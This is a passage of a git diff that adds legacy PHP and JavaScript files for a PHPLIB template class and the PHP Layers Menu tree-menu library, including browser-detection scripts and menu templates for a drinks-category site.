+// | Authors: Bjoern Schotte <bjoern@rent-a-phpwizard.de>                 |
+// |          Martin Jansen <mj@php.net> (PEAR conformance)               |
+// +----------------------------------------------------------------------+
+//
+// $Id: template.inc.php,v 1.1.1.1 2009/12/18 17:47:02 matrix Exp $
+//
+
+//require_once "PEAR.php";
+
+/**
+ * Converted PHPLIB Template class
+ *
+ * For those who want to use PHPLIB's fine template class,
+ * here's a PEAR conforming class with the original PHPLIB
+ * template code from phplib-stable CVS. Original author
+ * was Kristian Koehntopp <kris@koehntopp.de>
+ *
+ * @author  Bjoern Schotte <bjoern@rent-a-phpwizard.de>
+ * @author  Martin Jansen <mj@php.net> (PEAR conformance)
+ * @version 1.0
+ */
+class Template
+{
+    /**
+     * If set, echo assignments
+     * @var bool
+     */
+    var $debug     = false;
+
+    /**
+     * $file[handle] = "filename";
+     * @var array
+     */
+    var $file  = array();
+
+    /**
+     * Relative filenames are relative to this pathname
+     * @var string
+     */
+    var $root   = "";
+
+    /*
+     * $_varKeys[key] = "key"
+     * @var array
+     */
+    var $_varKeys = array();
+    
+    /**
+     * $_varVals[key] = "value";
+     * @var array
+     */
+    var $_varVals = array();
+
+    /**
+     * "remove"  => remove undefined variables
+     * "comment" => replace undefined variables with comments
+     * "keep"    => keep undefined variables
+     * @var string
+     */
+    var $unknowns = "remove";
+  
+    /**
+     * "yes" => halt, "report" => report error, continue, "no" => ignore error quietly
+     * @var string
+     */
+    var $haltOnError  = "yes";
+  
+    /**
+     * The last error message is retained here
+     * @var string
+     * @see halt
+     */
+    var $_lastError     = "";
+
+
+    /**
+     * Constructor
+     *
+     * @access public
+     * @param  string template root directory
+     * @param  string how to handle unknown variables
+     */
+    function Template($root = ".", $unknowns = "remove")
+    {
+        $this->setRoot($root);
+        $this->setUnknowns($unknowns);
+    }
+
+    /**
+     * Sets the template directory
+     *
+     * @access public
+     * @param  string new template directory
+     * @return bool
+     */
+    function setRoot($root)
+    {
+        if (!is_dir($root)) {
+            $this->halt("setRoot: $root is not a directory.");
+            return false;
+        }
+    
+        $this->root = $root;
+    
+        return true;
+    }
+
+    /**
+     * What to do with unknown variables
+     *
+     * three possible values:
+     *
+     * - "remove" will remove unknown variables
+     *   (don't use this if you define CSS in your page)
+     * - "comment" will replace undefined variables with comments
+     * - "keep" will keep undefined variables as-is
+     *
+     * @access public
+     * @param  string unknowns
+     */
+    function setUnknowns($unknowns = "keep")
+    {
+        $this->unknowns = $unknowns;
+    }
+
+    /**
+     * Set appropriate template files
+     *
+     * With this method you set the template files you want to use.
+     * Either you supply an associative array with key/value pairs
+     * where the key is the handle for the filname and the value
+     * is the filename itself, or you define $handle as the file name
+     * handle and $filename as the filename if you want to define only
+     * one template.
+     *
+     * @access public
+     * @param  mixed handle for a filename or array with handle/name value pairs
+     * @param  string name of template file
+     * @return bool
+     */
+    function setFile($handle, $filename = "")
+    {
+        if (!is_array($handle)) {
+    
+            if ($filename == "") {
+                $this->halt("setFile: For handle $handle filename is empty.");
+                return false;
+            }
+      
+            $this->file[$handle] = $this->_filename($filename);
+      
+        } else {
+    
+            reset($handle);
+            while (list($h, $f) = each($handle)) {
+                $this->file[$h] = $this->_filename($f);
+            }
+        }
+    }
+
+    /**
+     * Set a block in the appropriate template handle
+     *
+     * By setting a block like that:
+     *
+     * &lt;!-- BEGIN blockname --&gt;
+     * html code
+     * &lt;!-- END blockname --&gt;
+     *
+     * you can easily do repeating HTML code, i.e. output
+     * database data nice formatted into a HTML table where
+     * each DB row is placed into a HTML table row which is
+     * defined in this block.
+     * It extracts the template $handle from $parent and places
+     * variable {$name} instead.
+     *
+     * @access public
+     * @param  string parent handle
+     * @param  string block name handle
+     * @param  string variable substitution name
+     */
+    function setBlock($parent, $handle, $name = "")
+    {
+        if (!$this->_loadFile($parent)) {
+            $this->halt("subst: unable to load $parent.");
+            return false;
+        }
+    
+        if ($name == "") {
+            $name = $handle;
+        }
+
+        $str = $this->getVar($parent);
+        $reg = "/<!--\s+BEGIN $handle\s+-->(.*)\n\s*<!--\s+END $handle\s+-->/sm";
+        preg_match_all($reg, $str, $m);
+        $str = preg_replace($reg, "{" . "$name}", $str);
+
+        $this->setVar($handle, $m[1][0]);
+        $this->setVar($parent, $str);
+    }
+
+    /**
+     * Set corresponding substitutions for placeholders
+     *
+     * @access public
+     * @param  string name of a variable that is to be defined or an array of variables with value substitution as key/value pairs
+     * @param  string value of that variable
+     */
+    function setVar($varname, $value = "")
+    {
+        if (!is_array($varname)) {
+
+            if (!empty($varname))
+                if ($this->debug) print "scalar: set *$varname* to *$value*<br>\n";
+
+            $this->_varKeys[$varname] = "/".$this->_varname($varname)."/";
+            $this->_varVals[$varname] = $value;
+
+        } else {
+            reset($varname);
+
+            while (list($k, $v) = each($varname)) {
+                if (!empty($k))
+                    if ($this->debug) print "array: set *$k* to *$v*<br>\n";
+
+                $this->_varKeys[$k] = "/".$this->_varname($k)."/";
+                $this->_varVals[$k] = $v;
+            }
+        }
+    }
+
+    /**
+     * Substitute variables in handle $handle
+     *
+     * @access public
+     * @param  string name of handle
+     * @return mixed string substituted content of handle
+     */
+    function subst($handle)
+    {
+        if (!$this->_loadFile($handle)) {
+            $this->halt("subst: unable to load $handle.");
+            return false;
+        }
+
+        $str = $this->getVar($handle);
+        $str = @preg_replace($this->_varKeys, $this->_varVals, $str);
+
+        return $str;
+    }
+  
+    /**
+     * Same as subst but printing the result
+     *
+     * @access  public
+     * @brother subst
+     * @param   string handle of template
+     * @return  bool always false
+     */
+    function pSubst($handle)
+    {
+        print $this->subst($handle);
+        return false;
+    }
+
+    /**
+     * Parse handle into target
+     *
+     * Parses handle $handle into $target, eventually
+     * appending handle at $target if $append is defined
+     * as TRUE.
+     *
+     * @access public
+     * @param  string target handle to parse into
+     * @param  string which handle should be parsed
+     * @param  boolean append it to $target or not?
+     * @return string parsed handle
+     */
+    function parse($target, $handle, $append = false)
+    {
+        if (!is_array($handle)) {
+            $str = $this->subst($handle);
+
+            if ($append) {
+                $this->setVar($target, $this->getVar($target) . $str);
+            } else {
+                $this->setVar($target, $str);
+            }
+        } else {
+            reset($handle);
+
+            while (list($i, $h) = each($handle)) {
+                $str = $this->subst($h);
+                $this->setVar($target, $str);
+            }
+        }
+
+        return $str;
+    }
+
+    /**
+     * Same as parse, but printing it.
+     *
+     * @access  public
+     * @brother parse
+     * @param   string target to parse into
+     * @param   string handle which should be parsed
+     * @param   should $handle be appended to $target?
+     * @return  bool
+     */
+    function pParse($target, $handle, $append = false)
+    {
+        print $this->parse($target, $handle, $append);
+        return false;
+    }
+  
+    /**
+     * Return all defined variables and their values
+     *
+     * @access public
+     * @return array with all defined variables and their values
+     */
+    function getVars()
+    {
+        reset($this->_varKeys);
+
+        while (list($k, $v) = each($this->_varKeys)) {
+            $result[$k] = $this->_varVals[$k];
+        }
+
+        return $result;
+    }
+
+    /**
+     * Return one or more specific variable(s) with their values.
+     *
+     * @access public    
+     * @param  mixed array with variable names or one variable name as a string
+     * @return mixed array of variable names with their values or value of one specific variable
+     */
+    function getVar($varname)
+    {
+        if (!is_array($varname)) {
+            if (isset($this->_varVals[$varname])) {
+                return $this->_varVals[$varname];
+            } else {
+                return "";
+            }
+        } else {
+            reset($varname);
+    
+            while (list($k, $v) = each($varname)) {
+                $result[$k] = $this->_varVals[$k];
+            }
+
+            return $result;
+        }
+    }
+  
+    /**
+     * Get undefined values of a handle
+     *
+     * @access public
+     * @param  string handle name
+     * @return mixed  false if an error occured or the undefined values
+     */
+    function getUndefined($handle)
+    {
+        if (!$this->_loadFile($handle)) {
+            $this->halt("getUndefined: unable to load $handle.");
+            return false;
+        }
+    
+        preg_match_all("/\{([^}]+)\}/", $this->getVar($handle), $m);
+        $m = $m[1];
+        if (!is_array($m)) {
+            return false;
+        }
+
+        reset($m);
+        while (list($k, $v) = each($m)) {
+            if (!isset($this->_varKeys[$v])) {
+                $result[$v] = $v;
+            }
+        }
+    
+        if (count($result)) {
+            return $result;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Finish string
+     *
+     * @access public
+     * @param  string string to finish
+     * @return finished, i.e. substituted string
+     */
+    function finish($str)
+    {
+        switch ($this->unknowns) {
+            case "keep":
+                break;
+      
+            case "remove":
+                $str = preg_replace('/{[^ \t\r\n}]+}/', "", $str);
+                break;
+
+            case "comment":
+                $str = preg_replace('/{([^ \t\r\n}]+)}/', "<!-- Template $handle: Variable \\1 undefined -->", $str);
+                break;
+        }
+
+        return $str;
+    }
+
+    /**
+     * Print variable to the browser
+     *
+     * @access public
+     * @param  string name of variable to print
+     */
+    function p($varname)
+    {
+        print $this->finish($this->getVar($varname));
+    }
+
+    /**
+     * Get finished variable
+     *
+     * @access public public
+     * @param  string variable to get
+     * @return string string with finished variable
+     */
+    function get($varname)
+    {
+        return $this->finish($this->getVar($varname));
+    }
+
+    /**
+     * Complete filename
+     *
+     * Complete filename, i.e. testing it for slashes
+     *
+     * @access private
+     * @param  string filename to be completed
+     * @return string completed filename
+     */
+    function _filename($filename)
+    {
+        if (substr($filename, 0, 1) != "/") {
+            $filename = $this->root."/".$filename;
+        }
+
+        if (!file_exists($filename)) {
+            $this->halt("filename: file $filename does not exist.");
+        }
+
+        return $filename;
+    }
+
+    /**
+     * Protect a replacement variable
+     *
+     * @access private
+     * @param  string name of replacement variable
+     * @return string replaced variable
+     */
+    function _varname($varname)
+    {
+        return preg_quote("{".$varname."}");
+    }
+
+    /**
+     * load file defined by handle if it is not loaded yet
+     *
+     * @access private
+     * @param  string handle
+     * @return bool   FALSE if error, true if all is ok
+     */
+    function _loadFile($handle)
+    {
+        if (isset($this->_varKeys[$handle]) and !empty($this->_varVals[$handle])) {
+            return true;
+        }
+
+        if (!isset($this->file[$handle])) {
+            $this->halt("loadfile: $handle is not a valid handle.");
+          return false;
+        }
+
+        $filename = $this->_filename($this->file[$handle]);
+        $str = implode("", @file($filename));
+
+        if (empty($str)) {
+            $this->halt("loadfile: While loading $handle, $filename does not exist or is empty.");
+            return false;
+        }
+
+        $this->setVar($handle, $str);
+
+        return true;
+    }
+
+    /**
+     * Error function. Halt template system with message to show
+     *
+     * @access public
+     * @param  string message to show
+     * @return bool
+     */
+    function halt($msg)
+    {
+        $this->_lastError = $msg;
+
+        if ($this->haltOnError != "no") {
+//            return $this->haltMsg($msg);
+            $this->haltMsg($msg);
+        }
+
+        if ($this->haltOnError == "yes") {
+            die("<b>Halted.</b>");
+        }
+
+        return false;
+    }
+  
+    /**
+     * printf error message to show
+     *
+     * @access public
+     * @param  string message to show
+     * @return object PEAR error object
+     */
+    function haltMsg($msg)
+    {
+//        return new PEAR_ERROR(sprintf("<b>Template Error:</b> %s<br>\n", $msg));
+        printf("<b>Template Error:</b> %s<br>\n", $msg);
+    }
+}
+?>
diff --git a/lib/treemenu.inc.php b/lib/treemenu.inc.php
new file mode 100755 (executable)
index 0000000..a15a5f8
--- /dev/null
@@ -0,0 +1,352 @@
+<?php
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+/**
+* This file contains the code of the TreeMenu class.
+* @package PHPLayersMenu
+*/
+
+/**
+* This is the TreeMenu class of the PHP Layers Menu library.
+*
+* This class depends on the LayersMenuCommon class and on the PEAR conforming version of the PHPLib Template class, i.e. on HTML_Template_PHPLIB
+*
+* @version 3.2.0-rc
+* @package PHPLayersMenu
+*/
+class TreeMenu extends LayersMenuCommon
+{
+
+/**
+* Type of images used for the Tree Menu
+* @access private
+* @var string
+*/
+var $treeMenuImagesType;
+/**
+* Prefix for filenames of images of a theme
+* @access private
+* @var string
+*/
+var $treeMenuTheme;
+/**
+* An array where we store the Tree Menu code for each menu
+* @access private
+* @var array
+*/
+var $_treeMenu;
+
+/**
+* The constructor method; it initializates the menu system
+* @return void
+*/
+function TreeMenu()
+{
+       $this->LayersMenuCommon();
+
+       $this->treeMenuImagesType = 'png';
+       $this->treeMenuTheme = '';
+       $this->_treeMenu = array();
+
+       $this->_nodesCount = 0;
+       $this->tree = array();
+       $this->_maxLevel = array();
+       $this->_firstLevelCnt = array();
+       $this->_firstItem = array();
+       $this->_lastItem = array();
+}
+
+/**
+* The method to set the dirroot directory
+* @access public
+* @return boolean
+*/
+function setDirroot($dirroot)
+{
+       return $this->setDirrootCommon($dirroot);
+}
+
+/**
+* The method to set the type of images used for the Tree Menu
+* @access public
+* @return void
+*/
+function setTreeMenuImagesType($treeMenuImagesType)
+{
+       $this->treeMenuImagesType = $treeMenuImagesType;
+}
+
+/**
+* The method to set the prefix for filenames of images of a theme
+* @access public
+* @return void
+*/
+function setTreeMenuTheme($treeMenuTheme)
+{
+       $this->treeMenuTheme = $treeMenuTheme;
+}
+
+/**
+* Method to prepare a new Tree Menu.
+*
+* This method processes items of a menu to prepare and return
+* the corresponding Tree Menu code.
+*
+* @access public
+* @param string $menu_name the name of the menu whose items have to be processed
+* @return string
+*/
+function newTreeMenu(
+       $menu_name = '' // non consistent default...
+       )
+{
+       if (!isset($this->_firstItem[$menu_name]) || !isset($this->_lastItem[$menu_name])) {
+               $this->error("newTreeMenu: the first/last item of the menu '$menu_name' is not defined; please check if you have parsed its menu data.");
+               return 0;
+       }
+
+       $this->_treeMenu[$menu_name] = '';
+
+       $img_collapse                   = $this->imgwww . $this->treeMenuTheme . 'tree_collapse.' . $this->treeMenuImagesType;
+       $alt_collapse                   = '--';
+       $img_collapse_corner            = $this->imgwww . $this->treeMenuTheme . 'tree_collapse_corner.' . $this->treeMenuImagesType;
+       $alt_collapse_corner            = '--';
+       $img_collapse_corner_first      = $this->imgwww . $this->treeMenuTheme . 'tree_collapse_corner_first.' . $this->treeMenuImagesType;
+       $alt_collapse_corner_first      = '--';
+       $img_collapse_first             = $this->imgwww . $this->treeMenuTheme . 'tree_collapse_first.' . $this->treeMenuImagesType;
+       $alt_collapse_first             = '--';
+       $img_corner                     = $this->imgwww . $this->treeMenuTheme . 'tree_corner.' . $this->treeMenuImagesType;
+       $alt_corner                     = '`-';
+       $img_expand                     = $this->imgwww . $this->treeMenuTheme . 'tree_expand.' . $this->treeMenuImagesType;
+       $alt_expand                     = '+-';
+       $img_expand_corner              = $this->imgwww . $this->treeMenuTheme . 'tree_expand_corner.' . $this->treeMenuImagesType;
+       $alt_expand_corner              = '+-';
+       $img_expand_corner_first        = $this->imgwww . $this->treeMenuTheme . 'tree_expand_corner_first.' . $this->treeMenuImagesType;
+       $alt_expand_corner_first        = '+-';
+       $img_expand_first               = $this->imgwww . $this->treeMenuTheme . 'tree_expand_first.' . $this->treeMenuImagesType;
+       $alt_expand_first               = '+-';
+       $img_folder_closed              = $this->imgwww . $this->treeMenuTheme . 'tree_folder_closed.' . $this->treeMenuImagesType;
+       $alt_folder_closed              = '->';
+       $img_folder_open                = $this->imgwww . $this->treeMenuTheme . 'tree_folder_open.' . $this->treeMenuImagesType;
+       $alt_folder_open                = '->';
+       $img_leaf                       = $this->imgwww . $this->treeMenuTheme . 'tree_leaf.' . $this->treeMenuImagesType;
+       $alt_leaf                       = '->';
+       $img_space                      = $this->imgwww . $this->treeMenuTheme . 'tree_space.' . $this->treeMenuImagesType;
+       $alt_space                      = '  ';
+       $img_split                      = $this->imgwww . $this->treeMenuTheme . 'tree_split.' . $this->treeMenuImagesType;
+       $alt_split                      = '|-';
+       $img_split_first                = $this->imgwww . $this->treeMenuTheme . 'tree_split_first.' . $this->treeMenuImagesType;
+       $alt_split_first                = '|-';
+       $img_vertline                   = $this->imgwww . $this->treeMenuTheme . 'tree_vertline.' . $this->treeMenuImagesType;
+       $alt_vertline                   = '| ';
+
+       for ($i=0; $i<=$this->_maxLevel[$menu_name]; $i++) {
+               $levels[$i] = 0;
+       }
+
+       // Find last nodes of subtrees
+       $last_level = $this->_maxLevel[$menu_name];
+       for ($i=$this->_lastItem[$menu_name]; $i>=$this->_firstItem[$menu_name]; $i--) {
+               if ($this->tree[$i]['level'] < $last_level) {
+                       for ($j=$this->tree[$i]['level']+1; $j<=$this->_maxLevel[$menu_name]; $j++) {
+                               $levels[$j] = 0;
+                       }
+               }
+               if ($levels[$this->tree[$i]['level']] == 0) {
+                       $levels[$this->tree[$i]['level']] = 1;
+                       $this->tree[$i]['last_item'] = 1;
+               } else {
+                       $this->tree[$i]['last_item'] = 0;
+               }
+               $last_level = $this->tree[$i]['level'];
+       }
+
+       $toggle = '';
+       $toggle_function_name = 'toggle' . $menu_name;
+
+       for ($cnt=$this->_firstItem[$menu_name]; $cnt<=$this->_lastItem[$menu_name]; $cnt++) {
+               if ($this->tree[$cnt]['text'] == '---') {
+                       continue;       // separators are significant only for layers-based menus
+               }
+
+               if (isset($this->tree[$cnt]['selected']) && $this->tree[$cnt]['selected']) {
+                       $linkstyle = 'phplmselected';
+               } else {
+                       $linkstyle = 'phplm';
+               }
+
+               $this->_treeMenu[$menu_name] .= '<div id="jt' . $cnt . '" class="treemenudiv">' . "\n";
+
+               // vertical lines from higher levels
+               for ($i=0; $i<$this->tree[$cnt]['level']-1; $i++) {
+                       if ($levels[$i] == 1) {
+                               $img = $img_vertline;
+                               $alt = $alt_vertline;
+                       } else {
+                               $img = $img_space;
+                               $alt = $alt_space;
+                       }
+                       $this->_treeMenu[$menu_name] .= '<img align="top" border="0" class="imgs" src="' . $img . '" alt="' . $alt . '" />';
+               }
+
+               $not_a_leaf = $cnt<$this->_lastItem[$menu_name] && $this->tree[$cnt+1]['level']>$this->tree[$cnt]['level'];
+
+               if ($this->tree[$cnt]['last_item'] == 1) {
+               // corner at end of subtree or t-split
+                       if ($not_a_leaf) {
+                               if ($cnt == $this->_firstItem[$menu_name]) {
+                                       $img = $img_collapse_corner_first;
+                                       $alt = $alt_collapse_corner_first;
+                               } else {
+                                       $img = $img_collapse_corner;
+                                       $alt = $alt_collapse_corner;
+                               }
+                               $this->_treeMenu[$menu_name] .= '<a onmousedown="' . $toggle_function_name . "('" . $cnt . "')" . '"><img align="top" border="0" class="imgs" id="jt' . $cnt . 'node" src="' . $img . '" alt="' . $alt . '" /></a>';
+                       } else {
+                               $this->_treeMenu[$menu_name] .= '<img align="top" border="0" class="imgs" src="' . $img_corner . '" alt="' . $alt_corner . '" />';
+                       }
+                       $levels[$this->tree[$cnt]['level']-1] = 0;
+               } else {
+                       if ($not_a_leaf) {
+                               if ($cnt == $this->_firstItem[$menu_name]) {
+                                       $img = $img_collapse_first;
+                                       $alt = $alt_collapse_first;
+                               } else {
+                                       $img = $img_collapse;
+                                       $alt = $alt_collapse;
+                               }
+                               $this->_treeMenu[$menu_name] .= '<a onmousedown="' . $toggle_function_name . "('" . $cnt . "');" . '"><img align="top" border="0" class="imgs" id="jt' . $cnt . 'node" src="' . $img . '" alt="' . $alt . '" /></a>';
+                       } else {
+                               if ($cnt == $this->_firstItem[$menu_name]) {
+                                       $img = $img_split_first;
+                                       $alt = $alt_split_first;
+                               } else {
+                                       $img = $img_split;
+                                       $alt = $alt_split;
+                               }
+                               $this->_treeMenu[$menu_name] .= '<img align="top" border="0" class="imgs" id="jt' . $cnt . 'node" src="' . $img . '" alt="' . $alt . '" />';
+                       }
+                       $levels[$this->tree[$cnt]['level']-1] = 1;
+               }
+
+               if ($this->tree[$cnt]['parsed_href'] == '' || $this->tree[$cnt]['parsed_href'] == '#') {
+                       $a_href_open_img = '';
+                       $a_href_close_img = '';
+                       $a_href_open = '<a class="phplmnormal">';
+                       $a_href_close = '</a>';
+               } else {
+                       $a_href_open_img = '<a href="' . $this->tree[$cnt]['parsed_href'] . '"' . $this->tree[$cnt]['parsed_title'] . $this->tree[$cnt]['parsed_target'] . '>';
+                       $a_href_close_img = '</a>';
+                       $a_href_open = '<a href="' . $this->tree[$cnt]['parsed_href'] . '"' . $this->tree[$cnt]['parsed_title'] . $this->tree[$cnt]['parsed_target'] . ' class="' . $linkstyle . '">';
+                       $a_href_close = '</a>';
+               }
+
+               if ($not_a_leaf) {
+                       $this->_treeMenu[$menu_name] .= $a_href_open_img . '<img align="top" border="0" class="imgs" id="jt' . $cnt . 'folder" src="' . $img_folder_open . '" alt="' . $alt_folder_open . '" />' . $a_href_close_img;
+               } else {
+                       if ($this->tree[$cnt]['parsed_icon'] != '') {
+                               $this->_treeMenu[$menu_name] .= $a_href_open_img . '<img align="top" border="0" src="' . $this->tree[$cnt]['parsed_icon'] . '" width="' . $this->tree[$cnt]['iconwidth'] . '" height="' . $this->tree[$cnt]['iconheight'] . '" alt="' . $alt_leaf . '" />' . $a_href_close_img;
+                       } else {
+                               $this->_treeMenu[$menu_name] .= $a_href_open_img . '<img align="top" border="0" class="imgs" src="' . $img_leaf . '" alt="' . $alt_leaf . '" />' . $a_href_close_img;
+                       }
+               }
+               $this->_treeMenu[$menu_name] .= '&nbsp;' . $a_href_open . $this->tree[$cnt]['text'] . $a_href_close . "\n";
+               $this->_treeMenu[$menu_name] .= '</div>' . "\n";
+
+               if ($cnt<$this->_lastItem[$menu_name] && $this->tree[$cnt]['level']<$this->tree[$cnt+1]['level']) {
+                       $this->_treeMenu[$menu_name] .= '<div id="jt' . $cnt . 'son" class="treemenudiv">' . "\n";
+                       if ($this->tree[$cnt]['expanded'] != 1) {
+                               $toggle .= 'if (phplm_expand[' . $cnt . '] != 1) ' . $toggle_function_name . "('" . $cnt . "');\n";
+                       } else {
+                               $toggle .= 'if (phplm_collapse[' . $cnt . '] == 1) ' . $toggle_function_name . "('" . $cnt . "');\n";
+                       }
+               }
+
+               if ($cnt>$this->_firstItem[$menu_name] && $this->tree[$cnt]['level']>$this->tree[$cnt+1]['level']) {
+                       for ($i=max(1, $this->tree[$cnt+1]['level']); $i<$this->tree[$cnt]['level']; $i++) {
+                               $this->_treeMenu[$menu_name] .= '</div>' . "\n";
+                       }
+               }
+       }
+
+/*
+       $this->_treeMenu[$menu_name] =
+       '<div class="phplmnormal">' . "\n" .
+       $this->_treeMenu[$menu_name] .
+       '</div>' . "\n";
+*/
+       // Some (old) browsers do not support the "white-space: nowrap;" CSS property...
+       $this->_treeMenu[$menu_name] =
+       '<table cellspacing="0" cellpadding="0" border="0">' . "\n" .
+       '<tr>' . "\n" .
+       '<td class="phplmnormal" nowrap="nowrap">' . "\n" .
+       $this->_treeMenu[$menu_name] .
+       '</td>' . "\n" .
+       '</tr>' . "\n" .
+       '</table>' . "\n";
+
+       $t = new Template_PHPLIB();
+       $t->setFile('tplfile', $this->libjsdir . 'layerstreemenu.ijs');
+       $t->setVar(array(
+               'toggle_function_name'          => $toggle_function_name,
+               'img_collapse'                  => $img_collapse,
+               'img_collapse_corner'           => $img_collapse_corner,
+               'img_collapse_corner_first'     => $img_collapse_corner_first,
+               'img_collapse_first'            => $img_collapse_first,
+               'img_expand'                    => $img_expand,
+               'img_expand_corner'             => $img_expand_corner,
+               'img_expand_corner_first'       => $img_expand_corner_first,
+               'img_expand_first'              => $img_expand_first,
+               'img_folder_closed'             => $img_folder_closed,
+               'img_folder_open'               => $img_folder_open
+       ));
+       $toggle_function = $t->parse('out', 'tplfile');
+       $toggle_function =
+       '<script language="JavaScript" type="text/javascript">' . "\n" .
+       '<!--' . "\n" .
+       $toggle_function .
+       '// -->' . "\n" .
+       '</script>' . "\n";
+
+       $toggle =
+       '<script language="JavaScript" type="text/javascript">' . "\n" .
+       '<!--' . "\n" .
+       'if ((DOM && !Opera56 && !Konqueror22) || IE4) {' . "\n" .
+       $toggle .
+       '}' . "\n" .
+       'if (NS4) alert("Only the accessibility is provided to Netscape 4 on the JavaScript Tree Menu.\nWe *strongly* suggest you to upgrade your browser.");' . "\n" .
+       '// -->' . "\n" .
+       '</script>' . "\n";
+
+       $this->_treeMenu[$menu_name] = $toggle_function . "\n" . $this->_treeMenu[$menu_name] . "\n" . $toggle;
+
+       return $this->_treeMenu[$menu_name];
+}
+
+/**
+* Method that returns the code of the requested Tree Menu
+* @access public
+* @param string $menu_name the name of the menu whose Tree Menu code
+*   has to be returned
+* @return string
+*/
+function getTreeMenu($menu_name)
+{
+       return $this->_treeMenu[$menu_name];
+}
+
+/**
+* Method that prints the code of the requested Tree Menu
+* @access public
+* @param string $menu_name the name of the menu whose Tree Menu code
+*   has to be printed
+* @return void
+*/
+function printTreeMenu($menu_name)
+{
+       print $this->_treeMenu[$menu_name];
+}
+
+} /* END OF CLASS */
+
+?>
diff --git a/libjs/layersmenu-browser_detection.js b/libjs/layersmenu-browser_detection.js
new file mode 100755 (executable)
index 0000000..79896a0
--- /dev/null
@@ -0,0 +1,33 @@
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+DOM = (document.getElementById) ? 1 : 0;
+NS4 = (document.layers) ? 1 : 0;
+// We need to explicitly detect Konqueror
+// because Konqueror 3 sets IE = 1 ... AAAAAAAAAARGHHH!!!
+Konqueror = (navigator.userAgent.indexOf('Konqueror') > -1) ? 1 : 0;
+// We need to detect Konqueror 2.2 as it does not handle the window.onresize event
+Konqueror22 = (navigator.userAgent.indexOf('Konqueror 2.2') > -1 || navigator.userAgent.indexOf('Konqueror/2.2') > -1) ? 1 : 0;
+Konqueror30 =
+       (
+               navigator.userAgent.indexOf('Konqueror 3.0') > -1
+               || navigator.userAgent.indexOf('Konqueror/3.0') > -1
+               || navigator.userAgent.indexOf('Konqueror 3;') > -1
+               || navigator.userAgent.indexOf('Konqueror/3;') > -1
+               || navigator.userAgent.indexOf('Konqueror 3)') > -1
+               || navigator.userAgent.indexOf('Konqueror/3)') > -1
+       )
+       ? 1 : 0;
+Konqueror31 = (navigator.userAgent.indexOf('Konqueror 3.1') > -1 || navigator.userAgent.indexOf('Konqueror/3.1') > -1) ? 1 : 0;
+// We need to detect Konqueror 3.2 and 3.3 as they are affected by the see-through effect only for 2 form elements
+Konqueror32 = (navigator.userAgent.indexOf('Konqueror 3.2') > -1 || navigator.userAgent.indexOf('Konqueror/3.2') > -1) ? 1 : 0;
+Konqueror33 = (navigator.userAgent.indexOf('Konqueror 3.3') > -1 || navigator.userAgent.indexOf('Konqueror/3.3') > -1) ? 1 : 0;
+Opera = (navigator.userAgent.indexOf('Opera') > -1) ? 1 : 0;
+Opera5 = (navigator.userAgent.indexOf('Opera 5') > -1 || navigator.userAgent.indexOf('Opera/5') > -1) ? 1 : 0;
+Opera6 = (navigator.userAgent.indexOf('Opera 6') > -1 || navigator.userAgent.indexOf('Opera/6') > -1) ? 1 : 0;
+Opera56 = Opera5 || Opera6;
+IE = (navigator.userAgent.indexOf('MSIE') > -1) ? 1 : 0;
+IE = IE && !Opera;
+IE5 = IE && DOM;
+IE4 = (document.all) ? 1 : 0;
+IE4 = IE4 && IE && !DOM;
+
diff --git a/libjs/layersmenu-footer.ijs b/libjs/layersmenu-footer.ijs
new file mode 100755 (executable)
index 0000000..5d70b90
--- /dev/null
@@ -0,0 +1,11 @@
+<!-- beginning of menu footer - {packageName} {version} {copyright} {author} -->
+
+{footer}
+
+<script type="text/javascript">
+<!--
+loaded = 1;
+// -->
+</script>
+
+<!-- end of menu footer - {packageName} {version} {copyright} {author} -->
diff --git a/libjs/layersmenu-glmhead.php b/libjs/layersmenu-glmhead.php
new file mode 100755 (executable)
index 0000000..2dca49a
--- /dev/null
@@ -0,0 +1,22 @@
+<?php
+require_once('../setup.phtml');
+require_once(BASE.'classes/class_db.inc');
+require_once(BASE.'classes/class_toolbox.inc');
+require_once(BASE.'classes/class_template.inc');
+require_once(BASE.'classes/class_drinks.inc');
+require_once(BASE.'lib/PHPLIB.php');
+require_once(BASE.'lib/layersmenu-common.inc.php');
+require_once(BASE.'lib/layersmenu.inc.php');
+if( !$catid )
+{
+       $catid = 1;
+}
+$toolbox =& new drinkspecials( $catid );
+$string = $toolbox->get_menu_string();
+$mid = new LayersMenu();
+$mid->setMenuStructureString($string);
+//$mid->setForwardArrowImg("arrow.gif"); 
+$mid->parseStructureForMenu("vermenu");
+$mid->newVerticalMenu("vermenu");
+$mid->printHeader();
+?>
diff --git a/libjs/layersmenu-header.ijs b/libjs/layersmenu-header.ijs
new file mode 100755 (executable)
index 0000000..c730570
--- /dev/null
@@ -0,0 +1,47 @@
+menuTopShift = {menuTopShift};
+menuRightShift = {menuRightShift};
+menuLeftShift = {menuLeftShift};
+
+var thresholdY = {thresholdY};
+var abscissaStep = {abscissaStep};
+
+toBeHidden = new Array();
+toBeHiddenLeft = new Array();
+toBeHiddenTop = new Array();
+
+{listl}
+var numl = listl.length;
+
+father = new Array();
+for (i=1; i<={nodesCount}; i++) {
+       father['L' + i] = '';
+}
+{father_keys}
+{father_vals}
+for (i=0; i<father_keys.length; i++) {
+       father[father_keys[i]] = father_vals[i];
+}
+
+lwidth = new Array();
+var lwidthDetected = 0;
+
+function moveLayers()
+{
+       if (!lwidthDetected) {
+               for (i=0; i<numl; i++) {
+                       lwidth[listl[i]] = getOffsetWidth(listl[i]);
+               }
+               lwidthDetected = 1;
+       }
+       if (IE4) {
+               for (i=0; i<numl; i++) {
+                       setWidth(listl[i], abscissaStep);
+               }
+       }
+{moveLayers}
+}
+
+back = new Array();
+for (i=1; i<={nodesCount}; i++) {
+       back['L' + i] = 0;
+}
diff --git a/libjs/layersmenu-library.js b/libjs/layersmenu-library.js
new file mode 100755 (executable)
index 0000000..049abf8
--- /dev/null
@@ -0,0 +1,248 @@
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+layerLeft = new Array();
+layerTop = new Array();
+
+function setVisibility(layer, on)
+{
+       if (on) {
+               if (DOM) {
+                       document.getElementById(layer).style.visibility = 'visible';
+               } else if (NS4) {
+                       document.layers[layer].visibility = 'show';
+               } else {
+                       document.all[layer].style.visibility = 'visible';
+               }
+       } else {
+               if (DOM) {
